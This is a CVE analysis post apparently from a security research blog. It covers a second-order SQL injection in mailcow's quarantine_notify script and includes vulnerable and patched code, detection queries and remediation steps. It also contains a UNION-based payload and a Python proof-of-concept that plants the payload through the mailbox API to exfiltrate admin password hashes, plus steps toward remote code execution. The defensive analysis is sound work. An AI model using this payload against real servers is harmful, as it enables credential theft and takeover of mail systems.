home intel cve-2026-40871-mailcow-second-order-sqli-rce
CVE Analysis 2026-04-21 · 8 min read

CVE-2026-40871: Second-Order SQL Injection in mailcow quarantine_notify

mailcow's quarantine_category API field stores unsanitized input that quarantine_notify.py later interpolates into raw SQL, enabling UNION-based credential exfiltration via deferred injection.

#second-order-sql-injection#mailcow-api#unsafe-string-formatting#quarantine-bypass#email-server-rce
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40871 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40871Cloud · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40871 is a second-order (stored) SQL injection in mailcow: dockerized prior to version 2026-03b. The injection point is the quarantine_category parameter accepted by the /api/v1/add/mailbox REST endpoint. Unlike a first-order injection that fires immediately, this payload sits dormant in the database until quarantine_notify.py executes as a scheduled job — at which point it is interpolated unsafely into a SQL query using Python's % string formatting operator. The deferred nature makes this particularly dangerous: WAFs and API-layer monitoring will see a benign-looking mailbox creation request, while the actual injection occurs later inside the container with no direct attacker interaction at execution time.

CVSS 7.2 (HIGH) reflects that valid API credentials are a prerequisite, but in multi-tenant mailcow deployments, domain administrator keys are routinely issued to customers — dramatically widening the attack surface beyond a strict "admin only" interpretation.

Root cause: quarantine_notify.py constructs SQL queries via % string interpolation using a quarantine_category value retrieved from the database that was stored without sanitization by the /api/v1/add/mailbox handler.

Affected Component

Two distinct components interact to produce the vulnerability:

  • api/v1/add/mailbox — PHP REST handler inside the nginx-mailcow container. Accepts quarantine_category as a mailbox attribute and writes it to the mailbox table without validation.
  • quarantine_notify.py — Python script executed periodically (typically via cron inside the dovecot-mailcow container). Reads quarantine_category back from the database and inlines it into a SQL query to fetch quarantined messages for notification emails.

Root Cause Analysis

The mailbox creation handler stores the attacker-supplied value with no escaping:

// data.php (add/mailbox handler) — BEFORE patch
// BUG: quarantine_category stored directly from POST body, no sanitization
$stmt = $pdo->prepare("INSERT INTO `mailbox` (`username`, `quarantine_category`, ...) 
                        VALUES (:username, :qcat, ...)");
$stmt->execute([
    ':username' => $mailbox,
    ':qcat'     => $_data['quarantine_category'],  // BUG: attacker-controlled, no validation
    // ...
]);

Later, quarantine_notify.py retrieves this value and constructs a second query using unsafe % formatting:

# quarantine_notify.py — BEFORE patch
def get_quarantine_items(db_conn, mailbox, category):
    # BUG: 'category' comes from the database but was stored without sanitization.
    # Using % string formatting here allows injection of arbitrary SQL.
    query = """
        SELECT id, sender, subject, score
        FROM quarantine
        WHERE notified = '0'
        AND rcpt = '%s'
        AND category = '%s'
    """ % (mailbox, category)          # BUG: direct string interpolation — no parameterization
    
    cursor = db_conn.cursor()
    cursor.execute(query)              # executes attacker-controlled SQL
    return cursor.fetchall()

The full call chain from storage to sink:

CALL CHAIN:
/api/v1/add/mailbox (HTTP POST)
  └─> data.php :: add_mailbox()
        └─> INSERT quarantine_category = attacker_payload → DB (mailbox table)

[cron fires — no attacker interaction required]

quarantine_notify.py :: main()
  └─> fetch_mailboxes(db_conn)
        └─> SELECT username, quarantine_category FROM mailbox
              └─> get_quarantine_items(db_conn, mailbox, category)
                    └─> query = "... AND category = '%s'" % category   ← INJECTION FIRES
                          └─> cursor.execute(query)

Exploitation Mechanics

EXPLOIT CHAIN:
1. Obtain a valid mailcow API key (domain admin sufficient).

2. POST to /api/v1/add/mailbox with quarantine_category set to injection payload:

   quarantine_category = "innocent' UNION SELECT username,password,
                          password,password FROM admin-- -"

3. Server inserts raw payload into mailbox.quarantine_category — no error returned.
   Response is a normal 200 mailbox-created confirmation.

4. Wait for quarantine_notify.py cron execution (default: every 5 minutes).

5. quarantine_notify.py executes the constructed query:

   SELECT id, sender, subject, score FROM quarantine
   WHERE notified='0' AND rcpt='victim@domain.tld'
   AND category = 'innocent'
   UNION SELECT username,password,password,password FROM admin-- -'

6. UNION resultset contains admin credential rows. These rows are treated as
   quarantine message metadata and rendered into the notification email body.

7. Attacker reads the notification email (sent to their controlled mailbox)
   and recovers admin username + bcrypt hash (or plaintext if misconfigured).

8. Crack or relay hash to gain full mailcow admin panel access → RCE via
   custom hooks / rspamd configuration injection.

The injection payload construction requires careful column-count matching. The quarantine table SELECT returns four columns (id, sender, subject, score), so the UNION must also project four columns from admin:

# PoC — CVE-2026-40871
import requests

TARGET   = "https://mail.target.tld"
API_KEY  = "your-domain-admin-api-key"
MAILBOX  = "exfil@attacker-controlled.tld"

# Payload: terminate the category string, inject UNION to pull admin creds
# Column order in quarantine: id (int), sender (varchar), subject (varchar), score (float)
PAYLOAD  = "x' UNION SELECT username,password,password,1.0 FROM admin-- -"

r = requests.post(
    f"{TARGET}/api/v1/add/mailbox",
    headers={"X-API-Key": API_KEY, "Content-Type": "application/json"},
    json={
        "local_part":          "exfil",
        "domain":              "attacker-controlled.tld",
        "password":            "Tr0ub4dor&3",
        "password2":           "Tr0ub4dor&3",
        "quarantine_category": PAYLOAD,   # stored without sanitization
        "active":              "1",
    }
)
print(f"[*] Mailbox creation: {r.status_code}")
print("[*] Awaiting cron execution of quarantine_notify.py...")
print("[*] Check notification email for admin credential rows.")

Memory Layout

This is a SQL injection rather than a memory corruption bug, so the "memory" of interest is the database row state and the Python query string buffer at execution time:

DATABASE STATE AFTER MAILBOX CREATION (mailbox table):
┌─────────────────────────────────────────────────────────────────────────┐
│ username             │ quarantine_category                              │
├─────────────────────────────────────────────────────────────────────────┤
│ exfil@attacker.tld   │ x' UNION SELECT username,password,               │
│                      │    password,1.0 FROM admin-- -                   │
└─────────────────────────────────────────────────────────────────────────┘
                              ▲
                              └── stored raw — no escaping applied

QUERY STRING IN quarantine_notify.py AFTER % INTERPOLATION:
┌─────────────────────────────────────────────────────────────────────────┐
│ SELECT id, sender, subject, score FROM quarantine                       │
│ WHERE notified = '0'                                                    │
│ AND rcpt = 'exfil@attacker.tld'                                         │
│ AND category = 'x'                                                      │  ← original query ends here
│ UNION SELECT username,password,password,1.0 FROM admin-- -'             │  ← injected
└─────────────────────────────────────────────────────────────────────────┘

RESULTSET RETURNED (rendered into notification email):
Row 0: id=admin  sender=  subject=  score=1.0

Patch Analysis

The 2026-03b patch applies fixes at both layers. The PHP handler now validates quarantine_category against an allowlist before storage, and quarantine_notify.py switches to parameterized queries:

// data.php — AFTER patch (2026-03b)
$allowed_categories = ['add_header', 'reject', 'all'];
if (!in_array($_data['quarantine_category'], $allowed_categories, true)) {
    // FIXED: reject any value not in strict allowlist before DB write
    return ['type' => 'danger', 'msg' => 'Invalid quarantine_category value'];
}
$stmt->execute([':qcat' => $_data['quarantine_category'], ...]);
# quarantine_notify.py — AFTER patch (2026-03b)
def get_quarantine_items(db_conn, mailbox, category):
    # FIXED: parameterized query — category value never interpolated into SQL text
    query = """
        SELECT id, sender, subject, score
        FROM quarantine
        WHERE notified = '0'
        AND rcpt = %s
        AND category = %s
    """
    cursor = db_conn.cursor()
    cursor.execute(query, (mailbox, category))   # driver handles escaping
    return cursor.fetchall()

Defence-in-depth: the allowlist in the PHP layer means no malicious value ever reaches the database, rendering the parameterized query fix in Python a redundant-but-correct secondary control. Both layers must be patched; fixing only the Python layer leaves the injection dormant for any row written before the upgrade.

Detection and Indicators

Because injection fires during cron rather than at request time, request-level WAF rules alone are insufficient. Effective detection requires:

  • API audit log review: query /api/v1/add/mailbox requests where quarantine_category contains single-quote characters, UNION, or -- sequences.
  • Database content scan: SELECT username, quarantine_category FROM mailbox WHERE quarantine_category NOT IN ('add_header','reject','all','','spam'); — any row returning results on a pre-patch instance should be treated as compromise evidence.
  • MySQL general query log: look for queries against the admin table originating from the quarantine_notify process user.
  • Notification email inspection: quarantine digests containing rows where subject/sender fields contain bcrypt $2y$ strings are a direct IOC.
IOC SUMMARY:
- API field:   quarantine_category containing SQL metacharacters
- DB row:      mailbox.quarantine_category NOT IN known-good enum values
- Query log:   SELECT ... FROM admin executed by quarantine_notify.py user
- Email body:  notification digest containing $2y$10$ bcrypt strings as subjects

Remediation

  • Upgrade immediately to mailcow 2026-03b or later via ./update.sh.
  • Post-upgrade database hygiene: run the content scan query above and rotate the admin password if any suspicious rows are found. Rows written before the patch are not automatically remediated by upgrading.
  • API key scoping: revoke domain-admin keys that do not require mailbox creation capability. The API does not currently support fine-grained permission scoping beyond admin/domain-admin, making key hygiene the only compensating control.
  • WAF rule (compensating control only): block POST bodies to /api/v1/add/mailbox where quarantine_category does not match ^(add_header|reject|all|spam)$. This is advisory only — upgrade is the sole authoritative fix.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →